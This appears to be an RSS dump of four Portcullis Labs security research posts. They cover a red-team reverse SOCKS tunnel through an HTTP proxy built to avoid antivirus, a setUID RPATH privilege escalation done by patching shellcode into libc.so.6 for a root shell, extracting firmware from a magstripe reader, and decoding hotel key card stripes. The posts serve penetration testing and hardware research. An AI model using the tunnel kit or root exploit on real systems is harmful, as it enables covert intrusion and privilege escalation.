Portcullis Labs » MRL https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) https://labs.portcullis.co.uk/blog/reverse-port-forwarding-socks-proxy-via-http-proxy-part-1/ https://labs.portcullis.co.uk/blog/reverse-port-forwarding-socks-proxy-via-http-proxy-part-1/#comments Fri, 25 Jan 2019 11:36:11 +0000 https://labs.portcullis.co.uk/?p=6813 In the context of a Red Team assessment, in this post I’ll look at some options for using SOCKS to gain external access to an internal network. I’ll cover the obvious methods and why I’m overlooking them, a crude method using standard tools (this post) and a more refined approach using modified tools (in part 2). […]

The post Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) appeared first on Portcullis Labs.

]]>
In the context of a Red Team assessment, in this post I’ll look at some options for using SOCKS to gain external access to an internal network. I’ll cover the obvious methods and why I’m overlooking them, a crude method using standard tools (this post) and a more refined approach using modified tools (in part 2).

I recently spent quite a long time preparing for the CREST Certified Simulated Attack Specialist exam. While I won’t be discussing exam content (which I’m under NDA for), I thought it could be beneficial to write up at least some of the interesting stuff that I prepared prior to sitting the exam.

I spent a lot of time testing my tools and techniques against 5 different Anti-Virus (AV) products. I wanted to be sure that I had enough options available to me during the exam to operate efficiently, even if AV was present.  One scenario that I wanted to be prepared for was:

  • Having a foothold (command execution) on a Windows system in an internal network; but
  • being unable to deploy my normal C2 software (Cobalt Strike / Meterpreter) due to Anti-Virus / Endpoint Protection.

My practice had shown that I was able to deploy my C2 software of choice onto only 4 out 5 test systems. So this seemed like something I needed to prepare for. Just in case.

In parallel with this, I’d found that performance of SOCKS over a reverse HTTPS connection was barely adequate for tunneling an RDP connection. So I was interested in finding a solution that was:

  • Faster
  • Worked through a proxy; and
  • Worked in the presence of my nemesis AV product

My instinct was to try to SSH out of the network and use the SOCKS proxy built into SSH.  There were a few problems with this approach:

  1. I needed an SSH client – which I could solve by using Putty (read on for the reason I didn’t use plink)
  2. I needed to get an SSH connection out of the network – which could probably do via the proxy using HTTP CONNECT in the same way used for legitimate TLS connections
  3. SSH allows SSH clients to send traffic through a SOCKS proxy running on the SSH server. This was the opposite to what I needed. I needed the SSH server (on the “internet”) to be able to access a SOCKS Proxy running on the SSH Client. Which is a Windows box in this scenario. If the compromised host had been a *NIX host, I could potentially have SSH’d to localhost with the -D option to get the SOCKS server running, then made a second connection to the Internet to port-forward access to the SOCKS service
Communication Flow between Devices
image-6814

Communication flow between devices

Solving (3): SOCKS server

To solve (3) I looked for a small command line SOCKS proxy that ran on Windows. I did find some, but they all felt a bit dodgy and some said on their website that they definitely weren’t malware, despite what AV products said. Which is probably true, but it made them a poor option if I wanted to operate in the presence of AV.

Eventually I stumbled on a SOCKS5 implementation written in golang written by Armon Dagar. I’d heard that golang malware would be on the rise in 2019, so this was a good opportunity for me to waste valuable revision time on a side-interest. I’d never even compiled a golan program before. If this wasn’t too hard, it would be a nice cross-platform solution for my needs.

$ mkdir -p ~/go/src
$ cd !$
$ git clone https://github.com/armon/go-socks5
$ mv go-socks5 socks5
$ cd socks5
$ go build

No errors :-)

But no server either. This is just a library! You need to write some code to use it. :-(

Fortunately, the author provides an example that’s easily adapted:

mkdir -p ~/go/src/mysocks5
cd !$
$ cat << EOF > mysocks.go
// Create a SOCKS5 server
package main
import "socks5"

func main() {
  conf := &socks5.Config{}
  server, err := socks5.New(conf)
  if err != nil {
    panic(err)
  }

  // Create SOCKS5 proxy on localhost port 1080
  if err := server.ListenAndServe("tcp", "127.0.0.1:1080"); err != nil {
    panic(err)
  }
}
EOF
go build

Done! I now had a “mysocks5″ executable. And it worked. Repeating similar steps on Windows gave me a working mysocks5.exe. I was starting to like golang at this point.

Solving (1): Putty configuration

After getting almost to the finish line with the following plink command, I couldn’t specify an HTTP proxy from the command line:

plink -N -P 443 -i puttykey.priv.ppk -R 2080:127.0.0.1:1080 -hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a tunnnel@192.168.0.1

A quick overview of options here:

  • -N: – I don’t need a shell, just an SSH connection for port forwarding
  • -P 443 – Target port 443, not 22 since the proxy is likely to restrict us in this way
  • -i puttykey.priv.ppk – The private key to access my listening SSH server, I needed logon to be non-interactive, obviously
  • -R 2080:127.0.0.1:1080 – Open a listening port (2080) on the SSH server and forward connections to that port to 127.0.0.1:1080 on the SSH client
  • -hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a – We don’t want any warnings or questions about unverified host keys
  • tunnnel@192.168.0.1 – Log into 192.168.0.1 as user tunnel

Using the normal putty.exe GUI, I saved a session that specified all of the above detail, plus the required proxy settings (unauthenticated in the case of my lab):

Proxy Settings for SSH Connection in Putty
image-6815

Proxy settings for SSH connection in Putty

I saved a putty session called myproxy, then retried plink:

plink -load myproxy

It crashed. Hence, why I’m not using plink.  Putty works fine, though:

putty -load myproxy

Well, sort of fine. The victim user would have a suspicious-looking putty window pop up alongside the mysocks console window. But this is just a PoC. Let’s ignore these missing optimisations!

How the attack looks from user' class=
image-6816

How the attack looks from user’s perspective

On the server-side, we see a network listener on port 2080.

tcp 0 0 0.0.0.0:2080 0.0.0.0:* LISTEN

I wanted the service bound to 0.0.0.0 for my environment, but consider that anyone with network access could abuse your SOCKS proxy.

This provides a relatively high-performance SOCKS server – much better than those laggy SOCKS-over-reverse-HTTPS connections. Implants typically poll periodically over HTTPS, which means that traffic can only be sent when the implant calls home. The above method is more akin to SOCKS-over-reverse-TCP. Data can be sent in either direction immediately without waiting for a check-in. Arguably, the above method will create a more suspicious traffic pattern and some application-layer aware proxies won’t allow it (though tunneling over SSL could help).

Packaging it up

To deliver above attack, we need to package up the software and configuration so it can be run from the command line. We’ll assume that we can upload and unpack zip files for this part (or the post will get too long). I included the following in myproxy.zip:

  • putty.exe
  • mysocks5.exe
  • myproxy.reg – Created by doing “reg export HKCU\Software\SimonTatham myproxy.reg”, then removing unnecessary configuration data in a text editor
  • puttykey.priv.ppk – Created using puttygen, be sure to copy the openssh-format public key into ~tunnel/.ssh/authorized_key on the SSH server too
  • mysocks.bat – See below

To deploy, we need to run mysocks.bat, which does the following:

reg import myproxy.reg
start mysocks5
putty -load myproxy

All finished. We can pivot through our fast SOCKS proxy. For example, to access RDP on the internal network, I’d do something like:

$ cat /etc/proxychains.conf
...
socks5  127.0.0.1 2080
$ proxychains remmina

Where remmina is a pretty awesome RDP client for Linux. You can also use proxifier on Windows if you’d rather use mstsc.exe.

Conclusion

We showed a PoC to get a reverse SOCKS connection out of a network using tools that won’t trigger AV. They don’t require privileges run, so would work against an unprivileged windows user. The connection is faster than if we’d used the SOCKS features of C2 solutions that use polling reverse-HTTPS connections.

Our attack is untidy because the user can see everything that happens! It’s also awkward to set up because of the registry export and required packaging.

Further Reading

  • Chisel is a tool that can create a SOCKS-over-SSH-over-CONNECT-HTTP tunnel in the opposite direction the direction I needed
  • Crowbar is a tool that lets you do port forwarding over HTTP channels (no reliance on the proxy CONNECT method)

The post Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/reverse-port-forwarding-socks-proxy-via-http-proxy-part-1/feed/ 0
SetUID program exploitation: Crafting shared object files without a compiler https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/ https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/#comments Wed, 31 Oct 2018 12:18:59 +0000 https://labs.portcullis.co.uk/?p=6581 In this post we look at an alternative to compiling shared object files when exploiting vulnerable setUID programs on Linux. At a high level we’re just going to copy the binary and insert some shellcode. First we take a look the circumstances that might lead you to use this option. Also check out this previous post […]

The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.

]]>
In this post we look at an alternative to compiling shared object files when exploiting vulnerable setUID programs on Linux. At a high level we’re just going to copy the binary and insert some shellcode. First we take a look the circumstances that might lead you to use this option. Also check out this previous post on setUID exploitation.

A hacker challenge gone wrong

A long time ago, I set my team challenge of identifying an RPATH vulnerability and (if possible) exploiting the vulnerability to run some code of their choosing with higher privileges. I named my program arp-ath – lest people wasted too much time looking for other attack vectors:

$ cat arp-ath.c
#include <stdio.h>
int main(void) {
 printf("Hello world\n");
}
$ gcc -Wl,-rpath,. -o arp-ath arp-ath.c
# chmod 4755 arp-ath

The program behaves as you’d expect and is linked to libc.so.6 as you’d expect:

$ ./arp-ath
Hello world
$ ldd arp-ath
 linux-vdso.so.1 => (0x00007fff0a3fd000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb6dc0d6000)
 /lib64/ld-linux-x86-64.so.2 (0x00007fb6dc489000)

The vulnerability lies in the fact the program seaches the current directory for its libraries:

$ readelf -a arp-ath | grep -i path
0x000000000000000f (RPATH) Library rpath: [.]

(You’ll sometimes see RUNPATH instead of RPATH, but both work). Check it’s vulnerable like this:

$ touch libc.so.6
$ ./arp-ath
./arp-ath: error while loading shared libraries: ./libc.so.6: file too short

This challenge is very similar to Level 15 of the Nebula challenge if you want to play along using that – though it’s 32-bit.

The team found the “arp-ath” vulnerability pretty quickly and replied to let me know. Which you’d expect as it is their job to find such vulnerabilities on client systems during Build Reviews.

What I hadn’t personally anticipated is what a pain it is to create a malicious modified version of libc.so.6 on 64-bit Linux. So rather than face the embarrassment of having posted a challenge that I didn’t actually have a full solution for, I cobbled together the shellcode-based solution outlined above. First let’s have a look at the difficulties I had in creating my own libc.so.6.

Problems compiling a replacement libc.so.6 on 64-bit Linux

I lost my original notes of what I’d tried, but I’m pretty sure that I and my colleagues followed a similar path to this solution to the Nebula level 15 challenge - which has a really nice writeup of how to debug shared libraries that don’t want to work.

Here’s an initial attempt, which should cause a shell to spawn when the library is loaded (note I could also have replaced the “puts” function).

$ cat exploit1.c
#include <stdlib.h>
int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -o libc.so.6 exploit1.c
$ ldd ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
linux-vdso.so.1 (0x00007ffeea77d000)
libc.so.6 => ./libc.so.6 (0x00007f50430f9000)
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
./arp-ath: relocation error: ./libc.so.6: symbol __cxa_finalize, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

So, let’s address those errors about lack of version numbers and failure to export __cxa_finalize (after much googling)…

$ cat version
GLIBC_2.2.5{};
$ cat exploit2.c
#include <stdlib.h>

void __cxa_finalize (void *d) {
 return;
}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -Wl,--version-script=version -o libc.so.6 exploit2.c
$ ./arp-ath
./arp-ath: relocation error: ./libc.so.6: symbol system, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

Hmm. More errors.

Cutting short a very long sequence of trial and error, when we eventually try to replicate the solution to the Nubula level 15 challenge on 64-bit, we find that it only seems to work for 32-bit:

gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 exploit2.c
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(system.o): relocation R_X86_64_32 against `.bss' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sysdep.o): relocation R_X86_64_TPOFF32 against symbol `errno' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sigaction.o): relocation R_X86_64_32S against `.text' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: final link failed: Nonrepresentable section on output
collect2: error: ld returned 1 exit status

If I understood my googling correctly, I need a version of libc that’s been compiled with -fPIC, but that’s not possible for some reason I didn’t understand.

I did consider grabbing the source for libc and recompiling it after a modification, but decided life was too short. I had a better (or at least quicker) idea…

So just use metasploit, then?

I had a quick go at generating a shared object file with msfvenom:

msfvenom -a x64 -f elf-so -p linux/x64/exec CMD=/bin/sh AppendExit=true > libc.so.6
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: symbol lookup error: ./arp-ath: undefined symbol: __libc_start_main, version GLIBC_2.2.5

This was awfully familiar. I didn’t grapple much more with msfvenom after this.

Patching shellcode into a copy of libc.so.6

I figured I could open up a copy of libc.so.6 in a hex editor and paste in some shellcode over the top of __libc_start_main function. No matter how horribly I corrupted the file or how badly it crashed after it executed my shellcode, at least I’d have my shell.

I grabbed some shellcode off the internet – but equally could have generated in it Metasploit like this (I also appended a call to exit to stop the inevitable crash I mentioned):

$ msfvenom -a x64 -f hex -p linux/x64/exec CMD=/bin/sh AppendExit=true
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 55 bytes
Final size of hex file: 110 bytes
6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e8080000002f62696e2f73680056574889e60f054831ff6a3c580f05

Then I made a copy of libc.so.6 and located the file offset for the __libc_start_main function:

$ cp /lib/x86_64-linux-gnu/libc.so.6 .
$ objdump -FD libc.so.6 | grep _main
00000000000201f0 <__libc_start_main@@GLIBC_2.2.5> (File Offset: 0x201f0):
...

Using a hexeditor I pasted in the shellcode.

</span>
<pre>$ hexedit libc.so.6
Use CTRL-G to seek to the offset in the file
image-6582

Use CTRL-G to seek to the offset in the file

(CTRL-G to go to an offset (0x201f0); paste in our shellcode; F2 to save; CTRL-C to quit.)

Shellcode pasted over existing code
image-6583

Shellcode pasted over existing code

$ ./arp-ath
# id
uid=1000(x) gid=1000(x) euid=0(root) groups=1000(x)

Finally! :-)

And this works on AIX too?

I tried to get this working on AIX – which typically doesn’t have a C compiler available; AND typically has loads of RPATH vulnerabilities. However, the shellcode I tried was self-modifying. This is fine when you’re injecting shellcode as data, but the code section I was injecting into was read-only. So I got a segfault. I’ll follow up if get this working.

Conclusion

The quick and dirty solution, while inevitably unsatisfactory is sometimes sufficient. Especially given the lack of tools, source, time you might have when exploiting this sort of vulnerabilities. Maybe it’s not a terrible solution. You be the judge.

The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/feed/ 0
Grabbing firmware from my cheap STM32-based magstripe reader (using ST-Link v2) https://labs.portcullis.co.uk/blog/grabbing-firmware-from-my-cheap-stm32-based-magstripe-reader-using-st-link-v2/ https://labs.portcullis.co.uk/blog/grabbing-firmware-from-my-cheap-stm32-based-magstripe-reader-using-st-link-v2/#comments Fri, 20 Jul 2018 08:00:27 +0000 https://labs.portcullis.co.uk/?p=6583 In my previous post, I worked around the fact that the card reader could only read credit cards – when I wanted to read other types of magstripes. I’d thought at the time that it would theoretically be possible to replace the firmware. In this post I don’t get as far as writing new firmware, […]

The post Grabbing firmware from my cheap STM32-based magstripe reader (using ST-Link v2) appeared first on Portcullis Labs.

]]>
In my previous post, I worked around the fact that the card reader could only read credit cards – when I wanted to read other types of magstripes. I’d thought at the time that it would theoretically be possible to replace the firmware. In this post I don’t get as far as writing new firmware, but I to present an easy way to download and upload firmware: The ST-Link v2 USB device (hardware) and associated ST-Link Utility (software).

Inspiration

I’d been watching YouTube videos about microcontrollers, when I stumbled across How to Set up the ST-Link v2 Programmer Tutorial for ARM Microcontrollers. I hadn’t come across this method of programming microcontrollers before. Previously, I’d only programmed my Arduino via UART.

I got straight on eBay and bought a programmer from a local supplier, so it would arrive quickly. The same thing is also available for about £2 from China.

ST-Link v2 on eBay
image-6584

ST-Link v2 on eBay

Pinout

The chip I wanted to program/read was the STM32F102C8 from my cheap magstripe reader:

Chip on card reader
image-6585

Chip on card reader

The datasheet (pdf) showed the pinout information I needed:

Pinout from STM32 datasheet
image-6586

Pinout from STM32 datasheet

The pins I needed to locate were the Serial Wire Debug (SWD) pins. Specifically SWDIO and SWCLK:

Locations of SWDIO/SWCLK pins
image-6587

Locations of SWDIO/SWCLK pins

Marking up the previous diagrams, we have identified the pins we need:

Location of the pins we need
image-6588

Location of the pins we need

Pin locations marked
image-6589

Pin locations marked

In case you’re wondering, if you connect your oscilloscope to the SWDIO and SWCLK pins while the device is powered up, you don’t see any signals. But this doesn’t mean the pins are disabled – as we’ll show below.

Soldering

After successfully soldering some enamelled copper wire to the pins, then almost ripping the pins off accidentally, I used some hot clue as strain relief. The other end of the wire was connected to some 0.1″ headers so I could use dupont cables to connect to the ST-Link.

Connections soldered to pins
image-6590

Connections soldered to pins

I was pretty pleased with my soldering as it was the first time I’d soldered to pins with such fine pitch. I found that by tinning the wire very slightly, then resting the wire on the pin as I gently lowered the soldering iron (no solder on the iron), I was able to avoid spreading solder onto the nearby pins.

Connecting to ST-Link

Using dupont connectors we need to make 3 connections between the ST-Link device and the target board: SWDIO, SWCLK and Ground. The ST-Link clearly labels the various pins:

ST-Link and magstripe reader connected
image-6591

ST-Link and magstripe reader connected

Below the required connections have been made using the Black (SWDIO), Grey (SWCLK) and White (ground) connectors – though it’s hard to see and a bit confusing because of all the unrelated wires:

Relevant connections highlighted between ST-Link and target
image-6592

Relevant connections highlighted between ST-Link and target

Now we just need to load up the software and connect using the button shown below:

Connect button
image-6593

Connect button

Then we can read the firmware. I tweaked the start address and length to values that seemed to get me the whole firmware. The start address can be either 0×00000000 or 0×8000000:

Successful Firmware Read
image-6594

Successful firmware read

To save to a file (always good to have a backup), use the button shown:

Save Firmware To a .bin file
image-6595

Save firmware to a .bin File

Once the file has been saved, it can be written back using the “Program Verify” button:

Button to Program Target with a Local .bin File
image-6596

Button to program target with a local .bin File

Programming Options
image-6597

Programming options

After writing, I reset the magstripe reader to check it still worked. It did.

So, with very little effort we were able to read and write firmware to the device.

Conclusion

YouTube videos can be educational as well as fun. Sometimes, reading the firmware can be a lot easier than you’d ever expect. Checking if pins are active using only an oscilloscope wasn’t appropriate in this instance. We actually needed to try communicating with the device.

Where next?

If I was minded to create something rather than to take things apart all the time, I’d probably connect the STM32 to my Arduino software and see if I could write a sketch to read the input pins that connect to the magnetic read heads (via the op amps). Then I’d figure out to do HID emulation (as the original firmware did) so I could read arbitrary magstripes rather than just payment cards.

I got as far as tracing out the 3 input pins using the continuity testing feature on my multimeter.

I was also interested to know if I could have figured out the input pins from looking at the firmware. I loaded up the firmware in Hopper – which was surprisingly easy. But haven’t yet understood it to the extent where I could figure out input pins used. Apparently the assembler code to read of each pin is pretty distinctive, so this certainly seems possible to search for – once you’ve understood the datasheet enough to know what to search for exactly. Checkout 4m30s onwards in this LiveOverflow YouTube video.

It might be possible to write some nefarious firmware that seems to operate as normal, but secretly logs card numbers to the internal flash. Alternatively, maybe it just waits until midnight before it plays a load of malicious keystrokes to the host computer. Or maybe it only plays malicious keystrokes out when an attacker’s creditcard is swiped.

You might want to check out the stm32duino / Blue Pill, which uses the same family of microprocessors and the Pill Duck project which is essentially a USB Rubber Ducky type device that uses the Blue Pill hardware. Take care when Googling for blue pills, though.

The post Grabbing firmware from my cheap STM32-based magstripe reader (using ST-Link v2) appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/grabbing-firmware-from-my-cheap-stm32-based-magstripe-reader-using-st-link-v2/feed/ 0
Reading hotel key cards with a credit card magstripe reader https://labs.portcullis.co.uk/blog/reading-hotel-key-cards-with-a-credit-card-magstripe-reader/ https://labs.portcullis.co.uk/blog/reading-hotel-key-cards-with-a-credit-card-magstripe-reader/#comments Wed, 04 Jul 2018 06:01:58 +0000 https://labs.portcullis.co.uk/?p=6481 In this post I describe how my cheap magstripe reader wouldn’t read all magstripes, only credit/debit cards. This did nothing to help me understand what data was on my hotel key card – which is what I really wanted to know. Rather than take the obvious next step or buying a better reader, I opted […]

The post Reading hotel key cards with a credit card magstripe reader appeared first on Portcullis Labs.

]]>
In this post I describe how my cheap magstripe reader wouldn’t read all magstripes, only credit/debit cards. This did nothing to help me understand what data was on my hotel key card – which is what I really wanted to know. Rather than take the obvious next step or buying a better reader, I opted to open up the cheap magstripe reader, probed around a bit and found a way to read the raw data off the hotel magstripes. What that data means remains a mystery so there may be a part 2 at some stage.

About my magstripe reader

I bought the following reader for £11.85 in 2017:

Cheap reader from eBay
image-6482

Cheap reader from eBay

It connects via USB and is detected as a keyboard. If you swipe a credit/debit card through the reader, the corresponding data from the magstripe will appear if your text editor as if it had been typed. If you don’t have a text editor open at the time, you’ll get the effect of whatever the keystrokes on the magstripe reader are!

It works fine under both Windows and Linux. But only for credit/debit cards. When I swiped a hotel key card through, I got no data at all.

Why not just get a different reader?

I could have taken a couple of different (and no doubt better) approaches to this project. Finding a better magstripe reader was one option. Googling around to better understand hotel magstripes would have no-doubt been fruitful, but potentially spoils some of problem solving. I can always google later when I’m properly stuck. :-)

I since invested in an MSR605X reader/writer. I haven’t played with it much yet, but it is able to do raw reads. I’ll probably cover this reader in a future post.

Plan for the cheap reader

I figured that the magnetic read head in the cheap reader would almost certainly be able to read the data from from hotel cards or any other card with a magstripe. But the rest of the reader was only able to interpret payment card data. If I could probe the electrical signals in the right place within the reader, I should be able to see the 1′s and 0′s on the magstripe.

Magnetic read head inside card reader
image-6483

Magnetic read head inside card reader

I was a vague plan and certainly not the path of least resistance, but would ultimately work…

Probing around

I had two tools at my disposal to probe with (this was a home-based side project as opposed to an office-based project):

  • A cheap handheld Oscilloscope (Sainsmart DS202)
  • A Saleae logic analyzer

I quickly realized there were 7 points on the read head I could attach probes to.

Connection points on back of read head
image-6484

Connection points on back of read head

I figured if hooked the read head directly up to my scope, I’d be able to see an analogue signal when I swiped a card. Ultimately I hoped to do something with said signal to get the data I wanted.

Connections for scope soldered directly to read head
image-6485

Connections for scope soldered directly to read head

I tried hooking up various pairs from these 7 probe points to my scope, but didn’t find any signal at all. Maybe the signal’s too weak, or maybe (in retrospect) I did a rubbish job of identifying a suitable ground.

By this point I’d started googling the chip numbers. There were 2 x Op Amps and 1 x Analogue Comparator:

2 x Op Amps
image-6486

2 x Op Amps

Analogue Comparator (left); STM32 Microcontroller (right)
image-6487

Analogue Comparator (left); STM32 Microcontroller (right)

These chips were responsible for amplifying the signal from the read head. So if hooked up to the output of each, I might see a signal I could use to determine the data on the magstripes. I use the datasheets to identify the output pins of each IC.

The output from the 2 x Op Amps was about 0.5 – 0.6v peak-to-peak. Easily viewable using my scope, but I’d be unable to feed this into my logic analyser. I’d need about 3v peak-to-peak for that. The signal was also quite scruffy looking. Not the nice square wave I’d hoped for.

The output from the analogue comparator was exactly what I was after. A nice 3 or 4v peak-to-peak square wave that appeared only when I swiped a card. There were 4 outputs from the comparator. One never produced a signal. This seemed reasonable for a read head that could read 3-track magstripes. Time to feed this into the logic analyser and start figuring what constituted a 0 or 1…

1′s and 0′s

Progress had been quite fast up to this point. This was shaping up to be an interesting project.

Here’s the output from the comparator viewed in the Saleae Logic software:

Comparator output viewed via logic analyser
image-6488

Comparator output viewed via logic analyser

Note that we’re only seeing 1 square wave, not 3. This is because this particular card only has data on 1 of the 3 tracks.

So we have a signal to analyse, but we don’t have 1′s and 0′s yet.

Phrack37 from 1992 helps us with that:

ASCII art explanation of how 1' class=
image-6489

ASCII art explanation of how 1′s and 0′s are encoded on a magstripe

Essentially a 0 and 1 are both the same length when encoded. A 1 changed state half way through and a 0 doesn’t. Note that the 0 can be either high or low.

Rather than decode the 1′s and 0′s by eye, I wrote a Python script that parsed the exported data from the logic analyzer and dumped the 1′s and o’s. Here’s the format used by “Logic” (the Saleae software) when exporting to CSV:

Format used in CSV export from Saleae' class=
image-6490

Format used in CSV export from Saleae’s Logic software

The Python code turned out to be a pain to write because the baud rate of the data wasn’t constant. It varies depending on how fast the card is moving past the read head. I took a few wrong turns when coding this up, but eventually found a solution that worked.

Here’s a scatter graph that shows that the duration of square wave pulse doesn’t have exactly 2 values as expected. Instead a wide range of values are seen. It’s still possible to tell 0′s (long pulses, green dots) from 1′s (short pulses, blue/purple dots) – see top graph. The ratio of each successive pulse to the last was a better way to tell o’s from 1′s – see bottom graph:

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected
image-6491

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected

And finally, the bytes / characters

This is where my problems started. My whole life, bits have made bytes. Specifically they’ve made 8-bit bytes. This is not the case on magstripes, it turned out.

As mentioned in the phrack paper, credit cards use 2 tracks, one where characters are composed of 5 bits (4 bits + 1 parity) and another where characters are composed of 7 bits (6 bits + 1 parity).

I spent quite a bit of time coding up a decoder for credit cards. Partly because I needed to be assured that I’d read the 1′s and o’s correctly and partly because I thought I’d need the code to see if the same character types were used in hotel cards.

One of the challenges in coding this up was knowing where the data started and the preamble ended. It seems that “sentinels” are used to mark the start/end of the data. These are special characters (bit patterns) that readers can look for at the start and end of a stripe… then it made sense. This is why the card reader only worked for credit cards! The firmware is looking for the sentinels used by credit cards. It can’t decode the hotel cards because it’s not obvious where the data starts or ends; or what constitutes a character. Also, perhaps lack a valid Longitudinal Redundancy Check (LRC).

Identifying characters on hotel magstripes

I ran my credit-card code over the hotel mag stripes to see if there was odd parity with all the 5 bit chunks or all the 7 bit chunks. No, unfortunately not. Another reason the cheap magstripe reader probably failed.

Then I ran some frequency analysis on the 1′s and 0′s. Maybe a lot of the 5-bit chunks are all the same value? Or the 7-bit chunks? I’d see something similar on the credit card magstripe. There were 20 spaces on the 7-bit magstripe. So, using frequency analysis, I should have been able to guess 7-bit characters were being used.

By splitting some of the hotels magstripe data into 8-bit chunks, we notice that the same string of 1′s and 0′s occurs many more times than you’d expect. So my best guess is that 8-bit characters are used.

Below is some example output from my Python script. Not that it outputs:

  • Raw bits
  • Strings (with hex dumps) that would be right if 5-bit, 6-bit, 7-bit or 8-bit characters were used. Though “correctness” depends on parity, bit order and what character set the bit values map to. Plenty of room for error and improvement here
  • Checks for odd/even parity within characters
  • Frequency analysis looking for common characters – for varying character lengths
[+] Parsing file export.csv
 [-] Flips in channel 0: 3
 [-] Flips in channel 1: 1652
 [-] Flips in channel 2: 3
[+] Analysing swipes
 [-] Channel 0:
 [-] Channel 1:
 [-] Swipe 0: 693 bits
 [-] Swipe 1: 701 bits
 [-] Channel 2:
[+] Creating Plots
 [-] creating plots with dimensions (1637, 1637), (1637, 1637)
 [-] saving plot to file: export.csv-plot-channel-1.png
----------------------- CHANNEL 1 SWIPE 0 -----------------------
[+] Length (bits) = 266 (%5 = 1, %6 = 2, %7 = 0, % 8= 2)
[+] Data: 10100110001001100010011000100110001001100010011000100110001001100010011000100110001001100101011011100110101001001101100110100110001001100111110110111100111101100010000000100110011001101100001010010101001001001110110100000111001101011101100001100101101000101010011001
[+] Strings:
 [-] 5 bit: 5398621<4398621<43:>62<3539<;><=409<615549=1>6>36=1:6
 [-] length: 53
 [-] hex: 
 35 33 39 38 36 32 31 3c 34 33 39 38 36 32 31 3c 5398621<4398621<
 34 33 3a 3e 36 32 3c 33 35 33 39 3c 3b 3e 3c 3d 43:>62<3539<;><=
 34 30 39 3c 36 31 35 35 34 39 3d 31 3e 36 3e 33 409<615549=1>6>3
 36 3d 31 3a 36 6=1:6
[-] 6 bit: E(1C&amp;,9RD(1CFM92;+1S;G;"D,-**DMPLW8M4,
 [-] length: 38
 [-] hex: 
 45 28 31 43 26 2c 39 52 44 28 31 43 46 4d 39 32 E(1C&amp;,9RD(1CFM92
 3b 2b 31 53 3b 47 3b 22 44 2c 2d 2a 2a 44 4d 50 ;+1S;G;"D,-**DMP
 4c 57 38 4d 34 2c LW8M4,
[-] 7 bit: %..#...2$..#&amp;-.....3.'..$....$-0,7.-.
 [-] length: 37
 [-] hex: 
 25 08 11 23 06 0c 19 32 24 08 11 23 26 2d 19 12 %..#...2$..#&amp;-..
 1b 0b 11 33 1b 27 1b 02 24 0c 0d 0a 0a 24 2d 30 ...3.'..$....$-0
 2c 37 18 2d 14 ,7.-.
[-] 8 bit: .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....&amp;}.. &amp;f..$..5.e..@
 [-] length: 34
 [-] hex: 
 a6 26 26 26 26 26 26 26 26 26 26 56 e6 a4 d9 a6 .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....
 26 7d bc f6 20 26 66 c2 95 24 ed 07 35 d8 65 a2 &amp;}.. &amp;f..$..5.e.
 a6 40 .@
[+] Parity for 5 bit chars: odd: False, even: False)
[+] Parity for 6 bit chars: odd: False, even: False)
[+] Parity for 7 bit chars: odd: False, even: False)
[+] Parity for 8 bit chars: odd: False, even: False)
[+] Frequency analysis for potential char lengths:
 [-] 5 bits:
 10011: 5
 11000: 4
 01100: 4
 00110: 4
 00100: 4
 [-] 6 bits:
 100110: 5
 100010: 5
 011000: 5
 011001: 4
 001001: 4
 [-] 7 bits:
 1000100: 3
 0010011: 3
 1101100: 2
 1100010: 2
 1011010: 2
 [-] 8 bits:
 00100110: 12 < common 8-bit patter implies 8-bit chars?
 10100110: 3
...snip...

The above data is from an actual hotel card (though the hotel as since switched to using RFID locks).

I also started to look at XORing, rotating of characters (rot13 style), bit order and offsetting the whole stream of bits (in case I started at the wrong place when chunk the character up). All to no avail as yet.

